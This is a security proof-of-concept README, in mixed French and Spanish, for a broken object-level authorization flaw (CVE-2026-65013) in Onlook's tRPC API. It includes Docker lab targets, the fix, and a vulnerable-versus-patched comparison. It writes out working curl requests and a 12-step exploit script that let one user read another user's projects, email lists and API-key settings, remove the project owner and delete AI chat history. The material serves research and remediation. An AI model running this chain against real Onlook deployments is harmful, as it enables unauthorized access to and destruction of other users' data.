
PoC reproductible BOLA/IDOR contre l'API tRPC d'Onlook (CVE-2026-65013), avec une chaîne d'exploitation en 12 étapes, des cibles Docker vulnérables et corrigées, et une documentation technique.
PoC reproductible de BOLA / IDOR dans l'API tRPC de Onlook (CVE-2026-65013).
Tout utilisateur authentifié peut lire, modifier et supprimer les projets,
les membres et l'historique IA d'autres utilisateurs en transmettant simplement
leurs UUID aux procédures tRPC (versions <= 0.2.32).
| CVE | CVE-2026-65013 |
| Advisory | GHSA-j6x3-f5cf-2pg4 |
| CWE | CWE-639 (Authorization Bypass Through User-Controlled Key) |
| CVSS 3.1 | 8.8 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Vulnérable | Onlook <= 0.2.32 |
| Patch | commit 423e2e9 (PR onlook-dev/onlook#3129) |
| Document | Contenu |
|---|
Onlook expose son backend via tRPC, et les procédures reçoivent l'id de la ressource directement du client :
project.get({ projectId }) // lit n'importe quel projet
member.remove({ projectId, userId }) // expulse n'importe qui
chat.conversation.delete({ conversationId }) // supprime l'historique IA
settings.get({ projectId }) // settings avec API keys
Le problème : la plupart ne vérifiaient pas que l'appelant était membre du projet. La connexion à Postgres (Drizzle) était un superutilisateur exempté de Row Level Security, donc le contrôle devait résider dans le code tRPC... et là, il manquait.
Un helper verifyProjectAccess() existait déjà (appliqué à une poignée de
procédures, p. ex. project.update/delete), mais le reste de la surface
faisait confiance à l'id du client : project.get, member.list, member.remove,
invitation.list, chat.conversation.*, chat.message.*, branch.*,
settings.*, frame.*…
L'authentification N'EST PAS le problème (le JWT de Supabase fonctionne). C'est l'autorisation par objet (BOLA/IDOR) : l'attaquant utilise sa propre session légitime contre les ids de la victime.
lib/authorization.js contient les helpers qui manquaient (verifyProjectAccess,
verifyConversationAccess, verifyMessagesAccess, verifyBranchAccess,
verifyCanvasAccess, verifyMemberRemoval, verifyInvitationAccess) — l'équivalent
du commit 423e2e9.lib/router.js les invoque uniquement si enforceAuth est activé ; en mode
vulnérable, les procédures s'exécutent sans la vérification (le bug réel).Unauthorized or not found (UNAUTHORIZED), afin qu'on ne puisse pas énumérer
l'existence des ressources :
docker compose up -d --build
curl -s http://localhost:3000/health # {"status":"ok","fixed":false} → VULNERABLE
curl -s http://localhost:3001/health # {"status":"ok","fixed":true} → PARCHEADO
Le Docker démarre la cible (vulnérable et patchée) plus un service
demo. L'exploitation se fait depuis votre machine contre ces cibles.
curl -s http://localhost:3000/demo/ids # ids del seed de la víctima (Alice)
Cela remplace le canal réel par lequel un attaquant obtiendrait les UUIDs (lien de preview partagé, referrer de logs, invitations…).
TOKEN=$(curl -s -X POST http://localhost:3000/login \
-H 'content-type: application/json' \
-d '{"email":"[email protected]","password":"bob123"}' | node -pe 'JSON.parse(require("fs").readFileSync(0,"utf8")).token')
# 3a. LEER el proyecto secreto de Alice (GET, formato input={"json":...}):
curl -s "http://localhost:3000/api/trpc/project.get?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
-H "Authorization: Bearer $TOKEN"
# → {"result":{"data":{"json":{"id":"1111...","name":"Lanzamiento Q3 (PROYECTO SECRETO)",...}}}}
# 3b. LISTAR miembros y emails (aun siendo ajeno al proyecto):
curl -s "http://localhost:3000/api/trpc/member.list?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
-H "Authorization: Bearer $TOKEN"
# 3c. EXPULSAR a Alice (owner) de SU propio proyecto (POST mutation):
curl -s -X POST http://localhost:3000/api/trpc/member.remove \
-H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
-d '{"json":{"projectId":"11111111-1111-4111-8111-111111111111","userId":"aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa"}}'
# → {"result":{"data":{"json":true}}} ← (Alice ya no está en su proyecto)
# 3d. BORRAR el historial de IA de Alice:
curl -s -X POST http://localhost:3000/api/trpc/chat.conversation.delete \
-H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
-d '{"json":{"conversationId":"44444444-4444-4444-8444-444444444444"}}'
node exploit.js)Exécute les 12 procédures de la chaîne (lire le projet, lister les projets d'Alice, filtrer les emails, expulser l'owner, lister les invitations, lire/supprimer l'historique IA, branches, settings avec apiKey, frames) :
node exploit.js # contra :3000 (vulnerable) → filtraciones
node exploit.js --target http://localhost:3001 --expect blocked # contra :3001 (parcheado)
Sortie typique (vulnérable) :
💥 project.get → FILTRADO
💥 member.remove → FILTRADO (membership ajeno borrado: true)
💥 chat.conversation.delete → FILTRADO (historial de IA ajeno borrado: true)
...
✅ 12/12 — CVE-2026-65013 CONFIRMADA: bob leyó/borró recursos de alice.
Contre la version patchée :
🛡️ project.get → BLOQUEADO (Unauthorized or not found)
...
✅ 12/12 — Servidor PARCHEADO: el mismo ataque fue bloqueado.
L'exploitation mute la base en mémoire du serveur vulnérable : pour la réexécuter, redémarrez cette instance (
docker compose restart server).
npm run demo # compara VULNERABLE vs PARCHEADO en proceso (sin red), 12 procedimientos
bash test-local.sh # harness integral: curl (formato advisory) + exploit vs :3100 y :3101, exit code real
Ou en Docker :
docker compose up -d demo
docker logs cve-2026-65013-demo
open http://localhost:3000 # (o http://localhost:3001 para la versión parcheada)
Comptes de démo :
project.getPreviewProjects), état du
serveur (vulnérable/patché) et surface tRPC.💥 FILTRADO / 🛡️ BLOQUEADO par
procédure.Le frontend est de la présentation : la vulnérabilité réside dans
lib/router.jset le flux manuel avec curl du README reste le même.
.
├── Dockerfile node:22-alpine + deps + app
├── docker-compose.yml server (vulnerable :3000), server-fixed (:3001), demo — misma imagen, cambia FIXED
├── .dockerignore excluye node_modules
├── .gitignore
├── package.json @trpc/[email protected], @trpc/client, superjson, zod
├── server.js HTTP: /health, /login, /demo/ids, /api/trpc/*, estáticos (FIXED=env)
├── exploit.js PoC automatizado (cadena BOLA/IDOR de 12 pasos)
├── demo.js comparación vulnerable vs parcheado en proceso
├── test-local.sh batería local: curl (formato advisory) + exploits + exit code
├── lib/
│ ├── db.js base en memoria + seed (UUIDs estáticos y reproducibles)
│ ├── auth.js tokens de sesión HS256 (bien hechos a propósito)
│ ├── authorization.js helpers del FIX (commit 423e2e9) → "Unauthorized or not found"
│ └── router.js createAppRouter({ enforceAuth }) — el surface tRPC
├── public/ app "real" (login, dashboard, consola Red Team)
│ ├── index.html
│ ├── styles.css
│ └── app.js cliente tRPC manual (mismo wire format del advisory)
└── docs/
├── CVE-2026-65013.md documentación técnica de la CVE
└── ARQUITECTURA.md este repo explicado (mapa, wire format, extensión)
Pour comprendre ce que fait chaque ligne clé de l'exploit et comment l'étendre à davantage de procédures :
docs/ARQUITECTURA.md §8-§9.
Ce matériel est uniquement à des fins éducatives et de recherche en sécurité. Utilisez l'exploit uniquement contre des applications vous appartenant ou avec l'autorisation écrite du propriétaire. L'utilisation non autorisée de cette technique contre des systèmes tiers est illégale et la responsabilité de son usage incombe à celui qui la réalise.
docs/CVE-2026-65013.md | Technique de la CVE : root cause (RLS exempté + helper mal réparti), surface réellement affectée, anatomie de l'attaque, analyse ligne par ligne du fix 423e2e9, remédiation, références CVE/advisory/PR. |
docs/ARQUITECTURA.md | Du PoC : carte des fichiers, wire format tRPC v10+superjson, modèle de données, schéma VULN vs FIX, tableau des procédures, mapping PoC ↔ Onlook réel, guide d'extension, validation/CI manuelle. |
// chat.conversation.delete — vulnerable (sin chequeo) vs parcheado:
enforce(() => verifyConversationAccess(ctx.db, ctx.user.id, input.conversationId))
project.update reste protégé dans les deux modes comme « contraste » : cela
démontre que le helper existait, mais qu'il était mal réparti.| Procédure | :3000 vulnérable | :3001 patché |
|---|
project.get (projet d'autrui) | 200 + nom/metadata | 401 Unauthorized or not found |
member.list (emails d'autrui) | 200 + emails | 401 |
member.remove (expulser l'owner) | 200 true | 401 |
chat.conversation.delete | 200 true | 401 |
settings.get (apiKey) | 200 + settings | 401 |
project.update (contraste : déjà protégé) | 401 | 401 |
| Password | Rôle |
|---|
[email protected] | alice123 | propriétaire du projet secret |
[email protected] | bob123 | l'attaquant |
[email protected] | charlie123 | éditeur du projet d'Alice |